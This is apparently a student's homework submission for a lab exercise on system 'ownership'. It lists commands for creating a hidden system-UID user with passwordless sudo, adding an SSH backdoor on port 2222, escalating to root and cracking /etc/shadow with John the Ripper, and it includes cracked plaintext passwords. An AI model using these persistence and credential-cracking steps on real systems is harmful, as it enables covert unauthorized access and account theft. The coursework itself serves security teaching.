Week 6 Homework Submission File: Advanced Bash - Owning the System

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
    - **adduser --no-create-home sysd**
2. Give your secret user a password:
    - **adduser --no-create-home sysd**
      (above command ask to create password when creating user account)
    - **passwd (this command is used to change password)**
3. Give your secret user a system UID < 1000:
    - **usermod -u 111 sysd**
4. Give your secret user the same GID:
    - **groupmod -g 111 sysd (this command is used to change groupid of group but group should exists)**
    - **usermod -g 111 sysd (this command is used to change groupid of user but that group should exists)**
5. Give your secret user full sudo access without the need for a password:

   Add following line in /etc/sudoers.tmp

    - **sysd ALL=(ALL) NOPASSWD:ALL**
6. Test that sudo access works without your password:

    - **sudo cat /etc/shadow**
    - **sudo -l**

Step 2: Smooth Sailing

1. Edit the sshd_config file:
   Add following line in sshd_config file
    a. **Port 2222**

Step 3: Testing Your Configuration Update

1. Restart the SSH service:
    - **systemctl reload sshd**

2. Exit the root account:
    - **exit (can also use “logout” command)**

3. SSH to the target machine using your sysd account and port 2222:
    - **ssh sysd@192.168.6.105 -p 2222**

4. Use sudo to switch to the root user:
    - **sudo su**

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

    - **ssh sysd@192.168.6.105 -p 2222**

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
    - **sudo su**
    - **john /etc/shadow**

Following is the output

```
root@scavenger-hunt:/# john /etc/shadow
Created directory: /root/.john
Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
computer         (stallman)
freedom          (babbage)
trustno1         (mitnik)
dragon           (lovelace)
lakers           (turing)
passw0rd         (sysadmin)
passw0rd         (sysd)
Goodluck!        (student)
8g 0:00:06:26 100% 2/3 0.02070g/s 292.0p/s 304.7c/s 304.7C/s Missy!..Jupiter!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```